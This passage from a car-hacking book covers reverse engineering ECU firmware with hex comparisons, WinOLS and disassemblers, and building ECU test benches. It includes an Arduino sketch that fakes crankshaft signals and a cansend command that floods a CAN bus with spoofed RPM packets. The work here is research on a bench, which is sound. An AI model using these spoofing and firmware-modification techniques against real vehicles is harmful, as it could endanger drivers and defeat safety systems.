matter	what	type	of	vehicle	you’re	looking	at,	data	structures	will	have	orders
and	patterns	that	are	not	typically	seen	in	executable	code.	Figure	6-7	shows
an	example	of	the	clear	visual	pattern	of	data	in	analyze.exe—gradually
changing	values	and	repetition	should	stand	out.



Figure	6-7:	Patterns	and	gradual	changes	in	table	data	appear	in	a	2002
Chevrolet	Camaro	ROM	visualized	with	analyze.exe

On	the	other	hand,	when	you	look	at	code	like	that	in	Figure	6-8,	there	is
a	more	random,	chaotic	appearance.	(In	Figures	6-7	and	6-8,	precision	is	set
to	2	because	the	microcontroller	unit	used	is	a	16-bit	processor	and	it’s
reasonable	to	assume	that	a	good	chunk	of	the	data	items	will	be	16-bit	as
well.)



Figure	6-8:	This	random	code	doesn’t	have	the	neat,	orderly	patterns	that
are	present	in	most	tables.

More	to	Learn	from	the	MCU
Hopefully,	these	examples	help	connect	knowledge	of	the	table	data	you
expect	to	find	with	their	representation	within	a	binary	blob.	Learning	the
capabilities	of	the	microcontroller	unit	(MCU)	used	in	a	target	system	can
shed	light	on	the	types	of	data	to	expect	when	looking	over	the	binary	data.

Generally,	data	representation	formats	are	dictated	by	the	hardware
present.	Knowing	the	size	of	registers	on	the	MCU	running	the	show	can	be
a	big	help	for	identifying	parameters.	Most	parameters	tend	to	be	the	same
size	as	or	smaller	than	the	registers	of	a	given	MCU.	An	8-bit	MCU,	like	a
68HC11,	is	likely	to	have	lots	of	8-bit	data.	It’s	unusual	to	see	mostly	4-byte,
or	32-bit,	unsigned	long	integers	on	an	8-bit	MCU.	While	16-bit	data
becomes	more	common	on	MCUs	like	the	68332,	32-bit	data	becomes	the
norm	with	MPC5xx	Power	Architecture	MCUs	and	so	on.	It’s	unusual	to
find	floating-point	data	on	an	MCU	that	lacks	a	floating-point	processor.

Comparing	Bytes	to	Identify	Parameters



It’s	often	possible	to	get	multiple	bins	that’ll	run	on	the	same	physical	ECU.
The	more	the	better!	Doing	a	simple	compare	in	a	hex	editor	will	show
which	bytes	differ	between	the	files.	It’s	common—but	not	guaranteed—for
code	to	remain	unchanged	while	parameters	change.	If	less	than	5	percent	of
the	files	differ,	it’s	generally	safe	to	assume	that	the	differences	are
parameters.	If	you	know	what’s	been	changed	functionally	between	the	two
bins	and	you	know	which	bytes	have	changed,	you	have	further	clues	to	help
correlate	changes	in	the	ROM	with	changes	in	parameters.

Figures	6-9	and	6-10	compare	a	1996	V8	Mustang	and	a	1997	V6
Thunderbird,	showing	6,667	differences	out	of	114,688	bytes.	This	is	an
extreme	example	of	having	the	same	code	with	different	parameters,	but
there’s	still	only	about	a	5.8	percent	difference	compared	to	overall	file	size.

Most	processors	use	an	interrupt	vector	table	defined	by	the	processor
being	used.	Referencing	the	processor’s	data	sheet	will	define	the	structure
of	interrupt	routines,	allowing	you	to	quickly	identify	the	interrupt	handlers.
Tracing	interrupt	pins	on	the	processor	to	circuitry	within	the	ECU	to	pins
you	can	reference	in	a	vehicle	wiring	diagram	can	help	you	identify	code
blocks	used	to	service	such	hardware	functions	as	fuel	and	spark	control,
crank	and	cam	signal	processing,	and	idle	functions.



Figure	6-9:	Comparison	of	a	1996	V8	Mustang	(DXE2.bin)	and	a	1997
V6	Thunderbird	(SPP3.bin)



Figure	6-10:	File	compare	function	of	the	HxD	hex	editor

Identifying	ROM	Data	with	WinOLS
WinOLS	is	a	popular	commercial	program	for	modifying	bins.	It	combines
a	series	of	tools	for	calculating	and	updating	checksums	within	a	ROM	with
a	set	of	tools	for	identifying	tables.	Figures	6-11	and	6-12	illustrate	WinOLS
in	use.



If	the	ROM	type	is	known,	it	has	many	templates	that	automatically
identify	configuration	parameters.	Most	of	the	known	built-in	ROM	types
are	geared	toward	Bosch	Motronic	ECUs.	Templates	and	configurations	can
be	saved,	shared,	and	sold	to	enable	users	to	make	modifications	to	specific
files	with	greater	ease.	WinOLS	is	arguably	the	most	common	software	used
for	identifying	interesting	data	within	a	ROM	that	doesn’t	involve	code
analysis.	It’s	designed	to	facilitate	rapid	tuning	changes	to	a	controller.

Figure	6-11:	WinOLS	supports	2D	and	3D	table	views,	as	shown	in	these
alternate	views.



Figure	6-12:	WinOLS	being	used	on	a	2006	Volkswagen	2.0Tsi	ECU

Code	Analysis
Code	analysis	can	be	a	long,	complicated	task.	If	you’re	starting	from
scratch,	with	no	experience,	it	will	likely	take	hundreds	of	hours	to	analyze	a
complex	piece	of	code.	Modern	control	units	often	have	upward	of	a
megabyte	or	two	of	code,	which	is	a	huge	amount	of	code	when	you’re
looking	at	it	in	assembly.	An	ECU	from	1995	with	32	kilobytes	(not
megabytes)	of	code	will	have	upward	of	10,000	assembly	instructions	to	sort
out.	Bottom	line:	do	not	underestimate	how	much	work	this	approach	will
take.	I’ll	briefly	introduce	a	few	tools,	but	I	don’t	have	the	space	to	address
the	topic	in	sufficient	depth	for	someone	unfamiliar	with	the	process.	(After
all,	entire	books	have	been	written	solely	on	code	analysis.)	Here,	I’ll	just
talk	through	specific	tools	and	methods	particularly	applicable	to	automotive
embedded	systems.

When	analyzing	a	new	target,	first	identify	the	architecture	you’re
working	with.	Knowing	what	processor	executed	the	blob	of	binary	will	help
you	choose	an	appropriate	software	tool	to	further	assist.	If	you	can’t	identify
a	processor	based	on	the	markings	on	the	chip	itself,	search	online	for	data
sheets	to	identify	it.



To	analyze	code,	you	might	need	to	find	a	disassembler.	A	quick	Google
search	reveals	that	there	are	lots	of	them	out	there.	Some	target	a	single
architecture—for	example,	Dis51—and	some	are	custom-written	for
automotive	reverse	engineering—for	example,	Dis66k.	Others,	like	CATS
dasm,	IDA	Pro,	Hopper,	dasmx,	and	objdump	from	the	GNU	Binary
Utilities	(binutils),	target	multiple	processors.	IDA	Pro	supports	more
embedded	targets	than	just	about	any	other	program,	but	it’s	also	one	of	the
most	expensive	disassemblers.	GNU	binutils	also	supports	a	pretty	wide
range	of	architectures,	but	the	version	included	on	most	systems	will	be	built
only	for	the	“native”	architecture.	Rebuilding	binutils	with	all	architectures
enabled	will	open	a	few	doors.	Your	budget	and	supported	processors	will
determine	which	disassemblers	are	an	option.

Bust	out	the	disassembly	tools	and	start	trying	to	make	sense	of	the	mess,
but	as	I	warned	earlier,	this	might	take	hundreds	of	hours.	A	divide-and-
conquer	mentality	works	best—focus	on	the	smaller	tasks	rather	than	the
project	as	a	whole.	If	you	obtained	the	binary	by	backdoor	methods,	you
probably	already	took	the	ECU	apart	to	identify	the	processor.	If	you
cracked	the	J2534	programming	routines,	you	might	not	have	a	clue	what
processor	is	running	the	show.	In	this	case,	you’re	going	to	need	to	keep
running	it	through	a	disassembler	over	and	over	using	different	settings	until
you	get	something	that	makes	sense.

You’re	looking	for	assembly	code	that	disassembles	cleanly,	meaning	that
it	looks	like	it	makes	logical	sense.	If	you	disassemble	a	binary	for	the	wrong
architecture	or	using	the	wrong	settings,	you’ll	still	see	assembly
instructions,	but	the	assembler	actions	won’t	make	sense.	Disassembly	is	a
bit	of	an	art,	and	it	may	take	a	little	practice	at	seeing	a	“clean”	assembler	to
get	the	hang	of	identifying	when	a	dissassembler	is	providing	the	correct
response,	especially	when	nonexecutable	tables	and	data	are	scattered	among
the	code.

Here	are	some	hints	for	making	sense	of	disassembled	code:

•	OEMs	love	to	patent	stuff.	If	you	can	find	the	patents	relevant	to	your
system,	you	may	end	up	with	a	guided	tour	of	the	code	being	disassembled.
This	is	probably	the	most	consistently	available	high-level	procedural
guide	to	help	you	understand	the	logic	in	an	automotive	computer.	Patents
usually	lead	production	by	at	least	one	to	two	years,	if	not	more.



•	Look	at	any	available	software	for	manipulating	the	ECU	at	hand	for
insight	into	the	structure	and	purpose	of	code	segments.	You	can	often
infer	a	model	of	behavior	from	tables	available	to	be	modified	in
aftermarket	software.

•	Otherwise,	start	with	a	wiring	diagram	for	the	vehicle,	and	trace
connections	back	through	ECU	circuitry	to	particular	pins	on	the	MCU.
This	should	tell	you	which	piece	of	MCU	hardware	handles	which
function.	Cross	reference	the	interrupt	tables,	or	look	for	calls	to	service
particular	pieces	of	hardware	in	order	to	identify	which	piece(s)	of	code
service	that	hardware	function.

A	plain,	or	old-style,	disassembler	will	output	very	verbose	text.	Each
individual	instruction	is	parsed.	Some	disassemblers	will	attempt	to	mark
areas	referenced	as	data	and	void	disassembling	them.	Other	disassemblers
need	to	be	specifically	told	which	areas	are	code	and	which	areas	are	data.

A	Plain	Disassembler	at	Work
To	see	disassembly	in	action,	we’ll	look	at	a	plain	disassembly	of	a	1990
Nissan	300ZX	Twin	Turbo	ROM.	This	ECU	has	a	28-pin	external	27C256
EPROM,	so	it’s	relatively	easy	to	obtain	its	contents.	This	particular
platform	uses	a	HD6303	MCU,	a	derivative	of	the	Motorola	6800	8-bit
MCU	that	appears	to	be	supported	by	the	free	disassembler	DASMx	(see
http://www.16paws.com/ECU/DASMxx/DASMx.htm).	DASMx	comes	with
minimal	instructions:	to	disassemble	foo.bin,	create	a	file,	foo.sym,	that
describes	which	platform	is	in	use,	and	then	create	an	entry	point	in	memory
to	place	the	image,	symbols	you	know	about,	and	so	on.	Time	for	a	crash
course	in	the	architecture!

A	critical	point	about	the	memory	structure	is	that	the	MCU	can	address
65535	bytes	(64KB).	This	information	tells	you	what	to	expect	when	looking
at	the	addresses	in	your	binary	blob.	Further	reading	suggests	that	the
interrupt	vector	table	lies	at	the	end	of	addressable	memory,	with	the	reset
vector—where	every	processor	starts	after	a	reset—at	0xFFFE/0xFFFF.
Assuming	that	the	32KB	(0x7FFF	hex)	binary	blob	we	have	from	reading	the
EPROM	contains	the	interrupt	vector	table,	we	can	figure	out	that	the
binary	image	needs	to	start	at	memory	address	0x8000	for	it	to	end	at
0xFFFF	(0xFFFF	–	0x7FFF	=	0x8000).	It	also	helps	to	search	online	to	see

http://www.16paws.com/ECU/DASMxx/DASMx.htm


whether	others	are	trying	to	do	something	similar.	For	example,	the	post	at
http://forum.nistune.com/viewtopic.php?f=2&t=417	is	for	a	smaller	16KB	binary
based	on	settings	for	a	0xC000	entry	point.	The	more	legwork	and	research
you	do	prior	to	actually	invoking	a	disassembler,	the	more	likely	you	are	to
get	reasonable	results.

Figure	6-13	shows	the	symbol	table	for	the	300ZX	binary.	Next	to	each
symbol	is	the	memory	address	used	by	the	firmware.	These	memory
addresses	can	hold	values	such	as	incoming	data	from	different	physical	pins
on	the	chip	or	internal	information,	like	timing.

Figure	6-13:	Symbol	file	for	32KB	300ZX	binary	disassembly	with	DASMx

http://forum.nistune.com/viewtopic.php?f=2&t=417


We’ll	use	DASMx	to	disassemble	the	binary.	As	shown	in	Figure	6-14,
DASMx	reports	a	Hitachi	6303	MCU	with	a	source	file	length,	or	size,	of
32KB,	which	is	32768	bytes.

Figure	6-14:	Running	DASMx	to	disassemble	32KB	300ZX	binary

Now	cross	your	fingers	and	hope	for	a	meaningful	result!
The	result	is	the	vector	table	shown	in	Figure	6-15,	which	looks	sane

enough:	all	addresses	are	above	the	0x8000	entry	point	specified.	Notice	that
the	reset	vector	(0xFFFE,	RES-vector)	has	a	pointer	to	the	RESET_entry	at
0xBE6D.



Figure	6-15:	Disassembled	vector	table

We	can	disassemble	the	code	at	0xBE6D	for	the	reset	vector,	which	is
also	the	entry	point	for	code.	In	Figure	6-16,	we	see	a	routine,	RESET_entry,
that	looks	like	it	wipes	a	chunk	of	RAM.	This	is	a	plausible	part	of	the	initial
reset	sequence	because	often	when	booting,	firmware	will	initialize	the	data
region	to	all	0s.

Figure	6-16:	Reset	vector	disassembly

We’ve	taken	this	example	as	far	as	obtaining	a	disassembled	binary	image
and	looking	for	basic	sanity.	Now,	for	the	hard	part:	following	the	code,
breaking	it	into	routines,	and	trying	to	figure	out	how	it	works.

Interactive	Disassemblers
As	of	this	writing,	IDA	Pro	is	the	most	popular	interactive	disassembler
available.	It	performs	the	same	tasks	as	the	simple	disassembler	just
discussed,	and	more.	Specifically,	IDA	Pro	names	registers	and	variables;
once	IDA	Pro	identifies	and	names	a	variable,	or	memory	address—for
instance,	$FC50–RPM—it	gives	all	references	to	that	variable	within	the
code	a	descriptive	name	rather	than	a	less-recognizable	plain	hex	address.



IDA	Pro	also	graphs	code	to	visualize	program	flow.
One	of	the	advantages	of	IDA	Pro	is	that	it’s	programmable	to	allow

additional	opcodes	for	customizing	automotive	processors	and	plugins	for
further	processing	disassembled	code	(for	example,	decompiling	assembly
into	higher	language	code);	it	also	lets	you	use	structs,	unions,	classes,	and
other	user-defined	data	types.

Lastly,	IDA	Pro	supports	more	embedded	platforms	out	of	the	box	than
just	about	any	other	disassembler	currently	available.

You	don’t	necessarily	need	these	functions	to	successfully	analyze	code,
but	they	make	things	substantially	easier.	Figures	6-17	and	6-18	are
screenshots	from	real	code	analysis	with	IDA	Pro.	Thanks	to	Matt	Wallace
for	graciously	posting	these	examples	in	a	public	forum.

The	user	in	Figure	6-18	obtained	Acura	NSX	ECU	firmware	through	a
combination	of	hardware-hacking	approaches,	took	the	code	apart,	analyzed
it	using	IDA	Pro,	and	rewrote	it.	Next,	the	user	determined	the	necessary
functions	to	log	data	from	the	ECU	and	alter	its	operation.	The	result
allowed	the	user	to	use	forced	induction—that	is,	turbochargers	and
superchargers—with	a	factory	computer;	this	would	have	been	impossible
without	ECU	modification.



Figure	6-17:	IDA	diagram	showing	a	custom-written	routine	for	NVRAM
real-time	programming



Figure	6-18:	IDA	diagram	of	code	for	checking	fuel	injectors	on	NSX	ECU



Summary
Because	hacking	on	the	ECU	often	involves	processors	that	are	smaller	than
those	used	in	more	powerful	modern	devices,	such	as	cell	phones,	the	tools
used	for	reversing	the	firmware	differ	for	each	target.	By	using	a
combination	of	techniques,	such	as	data	visualization	to	locate	tables,	and	by
reversing	the	firmware	directly,	you	can	identify	the	areas	you’re	interested
in	modifying.	The	methods	discussed	in	this	chapter	are	techniques
commonly	used	by	performance	tuners	to	adjust	how	a	vehicle	handles	fuel
efficiency.	All	can	be	used	to	unlock	features	hidden	in	the	code	of	your
vehicle.	We’ll	look	at	performance	tuning	in	more	detail	in	Chapter	13.



7
BUILDING	AND	USING	ECU	TEST	BENCHES

An	ECU	test	bench,	like	the	one	shown	in	Figure	7-1,	consists	of	an	ECU,	a
power	supply,	an	optional	power	switch,	and	an	OBD-II	connector.	You	can
also	add	an	IC	or	other	CAN-related	systems	for	testing,	but	just	building	a
basic	ECU	test	bench	is	a	great	way	to	learn	the	CAN	bus	and	how	to	create
custom	tools.	In	this	chapter,	we’ll	walk	step	by	step	through	the	process	of
building	a	test	bench	for	development	and	testing.

The	Basic	ECU	Test	Bench
The	most	basic	test	bench	is	the	device	that	you	want	to	target	and	a	power
supply.	When	you	give	an	ECU	the	proper	amount	of	power,	you	can	start
performing	tests	on	its	inputs	and	communications.	For	example,	Figure	7-1
shows	a	basic	test	bench	containing	a	PC	power	supply	and	an	ECU.



Figure	7-1:	A	simple	ECU	test	bench

However,	you’ll	often	want	to	at	least	add	some	components	or	ports	to
make	the	test	bench	easier	to	use	and	operate.	To	make	it	easier	to	turn	the
device	on	and	off,	you	can	add	a	switch	to	the	power	supply.	An	OBD	port
allows	for	specialized	mechanics	tools	to	communicate	with	the	vehicle’s
network.	In	order	for	that	OBD	port	to	fully	function,	we	need	to	expose	the
vehicle’s	network	wires	from	the	ECU	to	the	OBD	port.

Finding	an	ECU
One	place	to	find	an	ECU	is,	of	course,	at	the	junkyard.	You’ll	typically	find
the	ECU	behind	a	car’s	radio	in	the	center	console	or	behind	the	glove	box.
If	you’re	having	trouble	finding	it,	try	using	the	massive	wiring	harness	to
trace	back	to	the	ECU.	When	pulling	one	out	yourself	(it	should	cost	only
about	$150),	be	sure	to	pull	it	from	a	vehicle	that	supports	CAN.	You	can
use	a	reference	website	such	as	http://www.auterraweb.com/aboutcan.html	to
help	you	identify	a	target	vehicle.	Also,	make	sure	you	leave	at	least	a

http://www.auterraweb.com/aboutcan.html


pigtail’s	worth	of	wiring	when	you	remove	the	ECU;	this	will	make	it	easier
to	wire	up	later.

If	you’re	not	comfortable	pulling	devices	out	of	junked	cars,	you	can
order	an	ECU	online	at	a	site	like	car-part.com.	The	cost	will	be	a	bit	higher
because	you’re	paying	for	someone	else	to	get	the	part	and	ship	it	to	you.	Be
sure	that	the	ECU	you	buy	includes	the	wire	bundles.

NOTE

One	downside	to	buying	an	ECU	online	is	that	it	may	be	difficult	to	acquire
parts	from	the	same	car	if	you	need	multiple	parts.	For	instance,	you	may	need
both	the	body	control	module	(BCM)	and	the	ECU	because	you	want	to	include
keys	and	the	immobilizer	is	in	the	BCM.	In	this	case,	if	you	mix	and	match
from	two	different	vehicles,	the	vehicle	won’t	“start”	properly.

Instead	of	harvesting	or	buying	a	used	ECU,	you	could	also	use	a	prebuilt
simulator,	like	the	ECUsim	2000	by	ScanTool	(see	Figure	7-2).	A	simulator
like	ECUsim	will	cost	around	$200	per	protocol	and	will	support	only
OBD/UDS	communications.	Simulators	can	generate	faults	and	MIL	lights,
and	they	include	fault	knobs	for	changing	common	vehicle	parameters,	such
as	speed.	Unless	you’re	building	an	application	that	uses	only	UDS	packets,
however,	a	simulator	probably	isn’t	the	way	to	go.

http://car-part.com


Figure	7-2:	ECUsim	OBD	simulator

Dissecting	the	ECU	Wiring
Once	you	have	all	of	the	parts,	you’ll	need	to	find	the	ECU’s	wiring	diagram
to	determine	which	wires	you	need	to	connect	in	order	to	get	it	to	work.
Visit	a	website	such	as	ALLDATA	(http://www.alldata.com/)	or	Mitchell	1
(http://mitchell1.com/main/)	to	get	a	complete	wiring	diagram.	You’ll	find	that
off-the-shelf	service	manuals	will	sometimes	have	wiring	diagrams,	but
they’re	often	incomplete	and	contain	only	common	repair	areas.

Wiring	diagrams	aren’t	always	easy	to	read,	mainly	because	some
combine	numerous	small	components	(see	Figure	7-3).	Try	to	mentally
break	down	each	component	to	get	a	better	idea	of	which	wires	to	focus	on.

http://www.alldata.com/
http://mitchell1.com/main/


Figure	7-3:	Example	of	an	ECU	wiring	diagram

Pinouts
You	can	get	pinouts	for	the	ECUs	on	several	different	vehicles	from
http://www.innovatemotorsports.com/resources/ecu_pinout.php	and	from
commercial	resources	like	ALLDATA	and	Mitchell	1.	Books	like	the
Chilton	auto	repair	manuals	include	block	diagrams,	but	you’ll	find	that	they
typically	cover	only	the	most	common	repair	components,	not	the	entire
ECU.

Block	Diagrams
Block	diagrams	are	often	easier	to	read	than	wiring	diagrams	that	show	all
components	on	the	same	sheet.	Block	diagrams	usually	show	the	wiring	for
only	one	component	and	offer	a	higher-level	overview	of	the	main
components,	whereas	schematics	show	all	the	circuitry	details.	Some	block
diagrams	also	include	a	legend	showing	which	connector	block	the	diagram
refers	to	and	the	connectors	on	that	module;	you’ll	typically	find	these	in	the

http://www.innovatemotorsports.com/resources/ecu_pinout.php


corner	of	the	block	diagram	(see	Table	7-1).

Table	7-1:	Example	Connector	Legend

CONN	IDPin	countColor

C1 68 WH

C2 68 L-GY

C3 68 M-GY

C4 12 BK

The	legend	should	give	the	connector	number,	its	number	pin	count,	and
the	color.	For	instance,	the	line	C1	=	68	WH	in	Table	7-1	means	that	the
C1	connector	has	68	pins	and	is	white.	L-GY	probably	means	light	gray,	and
so	on.	A	connector	number	like	C2-55	refers	to	connector	2,	pin	55.	The
connectors	usually	have	a	number	on	the	first	and	last	pin	in	the	row.

Wiring	Things	Up
Once	you	have	information	on	the	connector’s	wiring,	it’s	time	to	wire	it	up.
Wire	the	CAN	to	the	proper	ports	on	the	connector,	as	discussed	in	“OBD-
II	Connector	Pinout	Maps”	on	page	31.	When	you	provide	power—a	power
supply	from	an	old	PC	should	suffice—and	add	a	CAN	sniffer,	you	should
see	packets.	You	can	use	just	a	simple	OBD-II	scan	tool	that	you	can	pick	up
at	any	automotive	store.	If	you	have	everything	wired	correctly,	the	scan	tool
should	be	able	to	identify	the	vehicle,	assuming	that	your	test	bench	includes
the	main	ECU.

NOTE

Your	MIL,	or	engine	light,	will	most	likely	be	reported	as	on	by	the	scan
tool/ECU.

If	you’ve	wired	everything	but	you	still	don’t	see	packets	on	your	CAN
bus,	you	may	be	missing	termination.	To	address	this	problem,	start	by
adding	a	120-ohm	resistor,	as	a	CAN	bus	has	120-ohm	resistors	at	each	end
of	the	bus.	If	that	doesn’t	work,	add	a	second	resistor.	The	maximum	missing



resistance	should	be	240	ohms.	If	the	bus	still	isn’t	working,	then	recheck
your	wires	and	try	again.

NOTE

A	lot	of	components	communicate	with	the	ECU	in	a	simple	manner,	either
via	set	digital	signals	or	through	analog	signals.	Analog	signals	are	easy	to
simulate	with	a	potentiometer	and	you	can	often	tie	a	1	kilohm	potentiometer
to	the	engine	temp	and	fuel	lines	to	control	them.

Building	a	More	Advanced	Test	Bench
If	you’re	ready	to	take	your	car	hacking	research	further,	consider	building	a
more	advanced	ECU	test	bench,	like	the	one	shown	in	Figure	7-4.

This	unit	combines	an	ECU	with	a	BCM	because	it	also	has	the	original
keys	to	start	the	vehicle.	Notice	that	the	optional	IC	has	two	1	kilohm
potentiometers,	or	variable	resistors,	on	the	lower	left	side,	both	of	which	are
tied	to	the	engine	temperature	and	fuel	lines.	We	use	these	potentiometers
to	generate	sensor	signals,	as	discussed	in	the	following	section.	This
particular	test	bench	also	includes	a	small	MCU	that	allows	you	to	simulate
sending	crankshaft	and	camshaft	signals	to	the	ECU.



Figure	7-4:	More	complex	test	bench

A	more	complex	unit	like	the	one	in	Figure	7-4	makes	it	trivial	to
determine	CAN	traffic:	just	load	a	sniffer,	adjust	the	knob,	and	watch	for	the
packets	to	change.	If	you	know	which	wires	you’re	targeting	and	the	type	of
input	they	take,	you	can	easily	fake	signals	from	most	components.

Simulating	Sensor	Signals
As	I	mentioned,	you	can	use	the	potentiometers	in	this	setup	to	simulate
various	vehicle	sensors,	including	the	following:

•	Coolant	temperature	sensor

•	Fuel	sensor

•	Oxygen	sensors,	which	detect	post-combustion	oxygen	in	the	exhaust

•	Throttle	position,	which	is	probably	already	a	potentiometer	in	the	actual



vehicle

•	Pressure	sensors

If	your	goal	is	to	generate	more	complex	or	digital	signals,	use	a	small
microcontroller,	such	as	an	Arduino,	or	a	Raspberry	Pi.

For	our	test	bench,	we	also	want	to	control	the	RPMs	and/or
speedometer	needle.	In	order	to	do	this,	we	need	a	little	background	on	how
the	ECU	measures	speed.

Hall	Effect	Sensors
Hall	effect	sensors	are	often	used	to	sense	engine	speed	and	crankshaft
position	(CKP)	and	to	generate	digital	signals.	In	Figure	7-5,	the	Hall	effect
sensor	uses	a	shutter	wheel,	or	a	wheel	with	gaps	in	it,	to	measure	the
rotation	speed.	The	gallium	arsenate	crystal	changes	its	conductivity	when
exposed	to	a	magnetic	field.	As	the	shutter	wheel	spins,	the	crystal	detects
the	magnet	and	sends	a	pulse	when	not	blocked	by	the	wheel.	By	measuring
the	frequency	of	pulses,	you	can	derive	the	vehicle	speed.

Figure	7-5:	Shutter	wheel	diagram	for	Hall	effect	sensor

You	can	also	use	the	camshaft	timing	sprocket	to	measure	speed.	When
you	look	at	the	camshaft	timing	sprocket,	the	magnet	is	on	the	side	of	the
wheel	(see	Figure	7-6).



Figure	7-6:	Camshaft	timing	sprocket

Using	a	scope	on	the	signal	wire	shows	that	the	Hall	effect	sensor
produces	a	square	wave.	Typically,	there	are	three	wires	on	the	camshaft
sensor:	power,	ground,	and	sensor.	Power	is	usually	12V,	but	the	signal	wire
typically	operates	at	5V	back	to	the	ECM.	Camshaft	sensors	also	come	as
optical	sensors,	which	work	in	a	similar	fashion	except	an	LED	is	on	one	side
and	a	photocell	is	on	the	other.

You	can	gauge	full	rotation	timing	with	a	missing	tooth	called	a	trigger
wheel	or	with	a	timing	mark.	It’s	important	to	know	when	the	camshaft	has
made	a	full	rotation.	An	inductive	camshaft	sensor	produces	a	sine	wave	and
will	often	have	a	missing	tooth	to	detect	full	rotation.

Figure	7-7	shows	the	camshaft	sensor	repeating	approximately	every	2
milliseconds.	The	jump	or	a	gap	you	see	in	the	wave	at	around	the	40-
millisecond	mark	occurs	when	the	missing	tooth	is	reached.	The	location	of
that	gap	marks	the	point	at	which	the	camshaft	has	completed	a	full	rotation.
In	order	to	fake	these	camshaft	signals	into	the	ECU	test	bench,	you’d	need
to	write	a	small	sketch	for	your	microcontroller.	When	writing
microcontroller	code	to	mimic	these	sensors,	it’s	important	to	know	what
type	of	sensor	your	vehicle	uses	so	that	you’ll	know	whether	to	use	a	digital
or	analog	output	when	faking	the	teeth.



Figure	7-7:	Camshaft	sensor	signals	under	a	scope

Simulating	Vehicle	Speed
Now,	we’ll	build	a	test	bench	to	simulate	vehicle	speed.	We’ll	use	this	test
bench	together	with	the	IC	shown	in	Figure	7-4	to	pull	a	vehicle’s	VIN	via
the	OBD-II	connector.	This	will	give	us	the	exact	year,	make,	model,	and
engine	type	of	the	vehicle.	(We	looked	at	how	to	do	this	manually	in
“Unified	Diagnostic	Services”	on	page	54.)	Table	7-2	shows	the	results.

Table	7-2:	Vehicle	Information

VIN Model Year Make Body Engine

1G1ZT53826F109149Malibu 2006 ChevroletSedan
4Door

3.5L	V6	OHV
12V

Once	we	know	a	vehicle’s	year	of	manufacture	and	engine	type,	we	can



fetch	the	wiring	diagram	to	determine	which	of	the	ECU	wires	control	the
engine	speed	(see	Figure	7-8).	Then,	we	can	send	simulated	speed	data	to
the	ECU	in	order	to	measure	effects.	Using	wiring	diagrams	to	simulate	real
engine	behavior	can	make	it	easy	to	identify	target	signals	on	the	CAN	bus.

Figure	7-8:	Wiring	diagram	showing	the	engine	speed	pin

The	wiring	diagram	in	Figure	7-8	shows	how	you	can	trace	the	wire	from
the	CKP	sensor	so	that	connector	C2,	pin	27	receives	the	engine	speed	from
the	crankshaft	sensor.	Having	identified	this	pin	in	the	wiring	diagram,	we
locate	the	corresponding	wire	on	the	ECU.	We	can	connect	this	wire	to	any



digital	IO	pin	on	an	Arduino.	In	this	example,	we’ll	use	pin	2	and	then	add	a
potentiometer	to	A0	to	control	the	speed	of	the	CKP	sensor’s	“teeth”	going
to	the	ECM.	Pin	2	will	send	output	to	C2,	pin	27.

In	order	to	simulate	engine	speed	sent	from	the	CKP	sensor,	we	code	up
an	Arduino	sketch	to	send	high	and	low	pulses	with	a	delay	interval	mapped
to	the	potentiometer	position	(see	Listing	7-1).

int	ENG_SPD_PIN	=	2;
long	interval	=	500;
long	previousMicros	=	0;
int	state	=	LOW;

//	the	setup	routine	runs	once	when	you	press	reset
void	setup()	{
pinMode(ENG_SPD_PIN,	OUTPUT);
}

//	the	loop	routine	repeats	forever
void	loop()	{
unsigned	long	currentMicros	=	micros();

//	read	the	input	on	analog	pin	0
int	sensorValue	=	analogRead(A0);
interval	=	map(sensorValue,	0,	1023,	0,	3000);

if(currentMicros	-	previousMicros	>	interval)	{
previousMicros	=	currentMicros;

if	(state	==	LOW)
state	=	HIGH;
else
state	=	LOW;

if	(interval	==	0)
state	=	LOW;	//	turning	the	pot	all	the	way	down	turns	it	"off"

digitalWrite(ENG_SPD_PIN,	state);
}
}

Listing	7-1:	Arduino	sketch	designed	to	simulate	engine	speed

Now,	we	upload	this	sketch	to	the	Arduino,	power	up	the	test	bench,	and
when	we	turn	the	knob	on	the	potentiometer,	the	RPM	dial	moves	on	the
IC.	In	Figure	7-9,	the	second	line	of	the	cansniffer	traffic	shows	bytes	2	and
3—0x0B	and	0x89—changing	as	we	rotate	the	potentiometer	knob	for
Arbitration	ID	0x110	(the	column	labeled	ID).



Figure	7-9:	cansniffer	identifying	RPMs

NOTE

0x0B	and	0x89	don’t	directly	translate	into	the	RPMs;	rather,	they’re
shorthand.	In	other	words,	if	you’re	going	to	1000	RPMs,	you	won’t	see	the
hex	for	1000.	When	you	query	an	engine	for	RPMs,	the	algorithm	to	convert
these	two	bytes	into	RPMs	is	commonly	the	following:

A	is	the	first	byte	and	B	is	the	second	byte.	If	you	apply	that	algorithm	to
what’s	shown	in	Figure	7-9	(converted	from	hex	to	decimal),	you	get	this:

You	can	simplify	this	method	to	taking	0xB89,	which	is	2953	in	decimal
form.	When	you	divide	this	by	4,	you	get	738.25	RPMs.

When	this	screenshot	was	taken,	the	needle	was	idling	a	bit	below	the	1
on	the	RPM	gauge,	so	that’s	probably	the	same	algorithm.	(Sometimes	you’ll
find	that	the	values	in	the	true	CAN	packets	don’t	always	match	the
algorithms	used	by	off-the-shelf	diagnostic	tools	using	the	UDS	service,	but
it’s	nice	when	they	do.)

To	verify	that	arbitration	ID	0x110	with	bytes	2	and	3	controls	the	RPM,
we’ll	send	our	own	custom	packet.	By	flooding	the	bus	with	a	loop	that	sends
the	following,	we’ll	peg	the	needle	at	max	RPMs.

$	cansend	slcan0	110#00ffff3500380000



While	this	method	works	and,	once	connected,	takes	only	a	few	seconds
to	identify	the	CAN	packet	responsible	for	RPMs,	there	are	still	some	visible
issues.	Every	so	often	a	CAN	signal	shows	up	that	resets	the	values	to	00	00
and	stops	the	speedometer	from	moving.	So	while	the	ECM	is	fairly	certain
the	crankshaft	is	spinning,	it’s	detecting	a	problem	and	attempting	to	reset.

You	can	use	the	ISO-TP	tools	discussed	in	Chapter	3	to	pull	data.	In	two
different	terminals,	we	can	check	whether	there	was	a	diagnostic	code.	(You
can	also	use	a	scan	tool.)

In	one	terminal,	enter	the	following:

$	isotpsniffer	-s	7df	-d	7e8	slcan0

And	in	another	terminal,	send	this	command:

$	echo	"03"	|	isotpsend	-s	7DF	-d	7E8	slcan0

You	should	see	this	output	in	the	first	terminal:

slcan0	7DF	[1]	03	-	'.'
slcan0	7E8	[6]	43	02	00	68	C1	07	-	'C..h..'

Looks	like	we	have	a	DTC	set.	Querying	PID	0x03	returned	a	4-byte
DTC	(0x0068C107).	The	first	two	bytes	make	up	the	standard	DTC	(0x00
0x68).	This	converts	to	P0068,	which	the	Chilton	manual	refers	to	as
